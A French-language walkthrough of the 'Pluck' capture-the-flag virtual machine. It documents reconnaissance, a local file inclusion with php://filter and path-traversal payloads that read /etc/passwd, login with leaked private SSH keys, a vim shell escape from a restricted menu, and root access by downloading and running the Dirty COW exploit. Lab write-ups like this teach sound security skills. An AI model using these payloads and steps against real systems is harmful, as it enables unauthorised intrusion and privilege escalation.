Pluck - Write Up
Reconnaissance
nmap -sS -A 192.168.43.99 PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 3306/tcp open mysql MySQL (unauthorized)
Exploitation web
On repère rapidement une LFI dans la variable page.
On récupère la page admin.php avec un wrapper :
http://192.168.43.99/index.php?page=php://filter/read=convert.base64-encode/resource=admin.php
On décode le base64 du résultat :
echo 'PD9waHAKaW5jbHVkZSgiaGVhZGVyLnBocCIpOwoKZWNobyAiPGJyPjxicj48YnI+IjsKaWYgKCRfUE9TVCl7CmVjaG8gJwo8YnI+PGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOCBjb2wtbWQtb2Zmc2V0LTIiPgoKPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZGFuZ2VyIiByb2xlPSJhbGVydCI+JzsKIAppZihzdHJwb3MoJF9QT1NUWydlbWFpbCddLCAnXCcnKSAhPT0gZmFsc2UpIHsKCWVjaG8gICI8c3Ryb25nPllvdSBoYXZlIGFuIGVycm9yIGluIHlvdXIgU1FMIHN5bnRheDsgY2hlY2sgdGhlIG1hbnVhbCB0aGF0IGNvcnJlc3BvbmRzIHRvIHlvdXIgTXlTUUwgc2VydmVyIHZlcnNpb24gZm9yIHRoZSByaWdodCBzeW50YXggdG8gdXNlIG5lYXIgJycnIGF0IGxpbmUgNjwvc3Ryb25nPiI7Cn1lbHNlewoJZWNobyAgIjxzdHJvbmc+SW5jb3JyZWN0IFVzZXJuYW1lIG9yIFBhc3N3b3JkITwvc3Ryb25nPiI7Cn0KPz4KPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9kaXY+Cjw/cGhwCn0KPz4KPGJyPgo8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgPGRpdiBjbGFzcz0icm93IHZlcnRpY2FsLW9mZnNldC0xMDAiPgogICAgCTxkaXYgY2xhc3M9ImNvbC1tZC00IGNvbC1tZC1vZmZzZXQtNCI+CiAgICAJCTxkaXYgY2xhc3M9InBhbmVsIHBhbmVsLWRlZmF1bHQiPgoJCQkgIAk8ZGl2IGNsYXNzPSJwYW5lbC1oZWFkaW5nIj4KCQkJICAgIAk8aDMgY2xhc3M9InBhbmVsLXRpdGxlIj5BZG1pbjwvaDM+CgkJCSAJPC9kaXY+CgkJCSAgCTxkaXYgY2xhc3M9InBhbmVsLWJvZHkiPgoJCQkgICAgCTxmb3JtIGFjY2VwdC1jaGFyc2V0PSJVVEYtOCIgcm9sZT0iZm9ybSIgYWN0aW9uPSJhZG1pbi5waHAiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgPGZpZWxkc2V0PgoJCQkgICAgCSAgCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkgICAgPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJFLW1haWwiIG5hbWU9ImVtYWlsIiB0eXBlPSJ0ZXh0Ij4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPgoJCQkgICAgCQkJPGlucHV0IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iIj4KCQkJICAgIAkJPC9kaXY+CgkJCSAgICAJCTxkaXYgY2xhc3M9ImNoZWNrYm94Ij4KCQkJICAgIAkgICAgPC9kaXY+CgkJCSAgICAJCTxpbnB1dCBjbGFzcz0iYnRuIGJ0bi1sZyBidG4tc3VjY2VzcyBidG4tYmxvY2siIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4KCQkJICAgIAk8L2ZpZWxkc2V0PgoJCQkgICAgICAJPC9mb3JtPgoJCQkgICAgPC9kaXY+CgkJCTwvZGl2PgoJCTwvZGl2PgoJPC9kaXY+Cgo8P3BocAppbmNsdWRlKCJmb290ZXIucGhwIik7Cj8+Cg==' | base64 -d > admin.php
<div class="alert alert-danger" role="alert">'; if(strpos($_POST['email'], '\'') !== false) { echo "<strong>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6</strong>"; }else{ echo "<strong>Incorrect Username or Password!</strong>"; } ?>
On remarque que l'erreur sql sur l'authentification n'est qu'un troll
On récupère le /etc/passwd
http://192.168.43.99/index.php?page=../../../../../../../../../../etc/passwd
Sur la dernière ligne on peut lire :
/usr/local/scripts/backup.sh
On récupère le fichier backup.sh
http://192.168.43.99/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh
#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete"
On se connecte en telnet sur la machine
telnet 192.168.43.99
On récupère le backup.tar
get /backups/backup.tar
Dedans deux dossiers : le /home et le /var/www/html
Dans le /home de l'utilisateur paul un dossier “keys” contient des clés privés et publiques.
total 56K drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 . drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 .. -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key1 -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key1.pub -rwxr-xr-x 1 ark1nar ark1nar 672 janv. 18 19:08 id_key2 -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key2.pub -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key3 -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key3.pub -rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4 -rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key4.pub -rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key5 -rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key5.pub -rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6 -rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key6.pub
On essaye de se connecter avec les clé privés.
Seul id_key4 nous renvoie un message différent :
ssh paul@192.168.43.99 -i id_key4 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Permissions 0755 for 'id_key4' are too open. It is recommended that your private key files are NOT accessible by others. This private key will be ignored. key_load_private_type: bad permissions paul@192.168.43.99's password:
On met les bons droits sur la clé :
chmod 600 id_key4
La connexion à l'utilisateur se fait sans demander le mot de passe.
Exploitation système & Élévation de privilège
On arrive dans un Pdmenu
On choisit l'option :“Edit File”
On essaye d’éditer n'importe quel fichier et c'est vim qui s'ouvre :
Une fonctionnalité de vim nous permet d'appeler un shell
:set shell ? => shell=/usr/bin/pdmenu :set shell=/bin/bash :shell
On récupère la version du noyau :
paul@pluck:~$ uname -a Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Pour passer root nous allons utiliser l'exploit dirtycow
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
On le compile :
gcc cowroot.c -o cowroot -pthread
On l’exécute
./cowroot
Merci à l'auteur de la vm !